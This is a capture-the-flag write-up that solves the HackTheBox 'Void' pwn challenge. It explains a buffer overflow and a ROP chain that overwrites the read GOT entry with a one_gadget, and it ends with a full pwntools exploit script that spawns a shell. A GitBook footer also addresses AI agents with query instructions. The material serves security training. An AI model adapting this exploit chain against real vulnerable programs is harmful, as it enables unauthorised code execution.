> For the complete documentation index, see [llms.txt](https://jesuscries.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/htb-cyber-apocalypse-2023-void.md).

# HTB Cyber Apocalypse 2023: Void

## TL;DR

> Simple GOT overwrite with *one\_gadget* via a *write-what-where* gadget.

## Basic File Checks

Void is a simple binary that takes in user input and terminates right after that.

<figure><img src="/files/dExA8sTrIe4iIzzGnmmq" alt=""><figcaption></figcaption></figure>

The binary does not come with a canary and PIE, meaning we would require only a LIBC info leak if we were to perform an ROP-based attack.&#x20;

<figure><img src="/files/7hNNsDdMrI84TPkGkl0a" alt=""><figcaption></figcaption></figure>

On the other hand, Partial RELRO indicates that we may be able to overwrite the Global Offset Table (GOT). However, there is only a single entry of `read@GLIBC` in the GOT, and nothing interesting like `puts()` or `write()` that we can use to leak the LIBC address.

<figure><img src="/files/MyPTGHF2vwPwudP1LMBf" alt=""><figcaption></figcaption></figure>

## Static Code Analysis

The binary has an obvious buffer overflow in the `vuln` function. But other than that, the binary is very minimal, containing only a `read()` function, and nothing else; not even a *ret2win* function. This is a very typical textbook scenario for *ret2dlresolve* attack.

```c
void vuln(void)

{
  undefined local_48 [64];
  
  read(0,local_48,200);
  return;
}
```

## ret2dlresolve

Since the binary is a 64-bit program, there are known issues with exploiting *ret2dlresolve* with huge page sizes as described in this [redpwnCTF 2021](https://activities.tjhsst.edu/csc/writeups/redpwnctf-2021-devnull) writeup.

<figure><img src="/files/hV7R34pNRg6Ub2Mg0aiN" alt=""><figcaption></figcaption></figure>

## write-what-where

Inspecting the available ROP gadgets shows that there is a `write-what-where` gadget that is well-known in GCC-compiled binaries. If we can control both `ebx` and `rbp` values, we can leverage this gadget to overwrite the GOT.

**NOTE:** Ropper uses the Intel-syntax flavor, so `ebx` corresponds to WHAT; whereas `rbp` corresponds to WHERE. At the same time, `rbp` needs to account for the -0x48.

<figure><img src="/files/AwI1a3TePxHV2cA6Dwnn" alt=""><figcaption></figcaption></figure>

Luckily for us, `pop rbp` and `pop rbx` are both present in the binary as well. This means that we can now overwrite the `read@GLIBC` entry in the GOT with something like `system()` and pop a shell via `/bin/sh` as the same as this [writeup](https://nandynarwhals.org/cyberpeace-2022-crysys/).

<figure><img src="/files/p9KTb87YQBNp2sImI9Al" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Ropper limits the maximum count of instructions in a gadget to 6 by default. Turns out there's a better gadget to pop all 6 registers at once altogether. This option can be overridden via the `--inst-count` flag.
{% endhint %}

<figure><img src="/files/8BHfsxcRcC5iZvGcP34o" alt=""><figcaption></figcaption></figure>

## One Gadget

Alternatively, we can also overwrite the GOT with a one\_gadget. We can satisfy all the constraints for the first one\_gadget since we have the `pop r12, pop r13, pop r14, pop r15` gadget at our disposal as well.

<figure><img src="/files/KJoSHJ1AIbKAgXnvC5GB" alt=""><figcaption></figcaption></figure>

With ASLR disabled, we can calculate the actual address of the one\_gadget by adding its offset to the base address of LIBC.

<figure><img src="/files/Jkexb1t6obHPZt8m6O49" alt=""><figcaption></figcaption></figure>

## Solution

{% code title="solve.py" %}

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./void_patched")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    pop_rbp = 0x000000000040110d
    pop_rbx = 0x0000000000401140
    write_what_where = 0x000000000040114e   # mov qword ptr [rbp - 0x48], rbx; ret;
    pop_r12_r13_r14_r15 = 0x000000000040112b
    one_gadget = libc.address + 0xe3afe

    # 0xe3afe execve("/bin/sh", r15, r12)
    # constraints:
    #   [r15] == NULL || r15 == NULL
    #   [r12] == NULL || r12 == NULL

    # vmmap: libc base address = 0x7ffff7dd5000
    # gdb: x 0x7ffff7dd5000 + 0xe3afe = 0x7ffff7eb8afe

    read_plt = exe.plt['read']
    read_got = exe.got['read']

    payload = b'A'*72
    payload += p64(pop_rbx) + p64(one_gadget)
    payload += p64(pop_rbp) + p64(read_got+0x48) # rbp needs to account for the -0x48
    payload += p64(pop_r12_r13_r14_r15) + p64(0)*4
    payload += p64(write_what_where) # trigger the write-what-where gadget to overwrite GOT
    payload += p64(read_plt) # trigger the fake read(), which is now the one_gadget
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

```

{% endcode %}

<figure><img src="/files/Ts8NSxzylLn3KYnhYF1O" alt=""><figcaption></figcaption></figure>

**Flag:** HTB{r3s0lv3\_th3\_d4rkn355}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/htb-cyber-apocalypse-2023-void.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
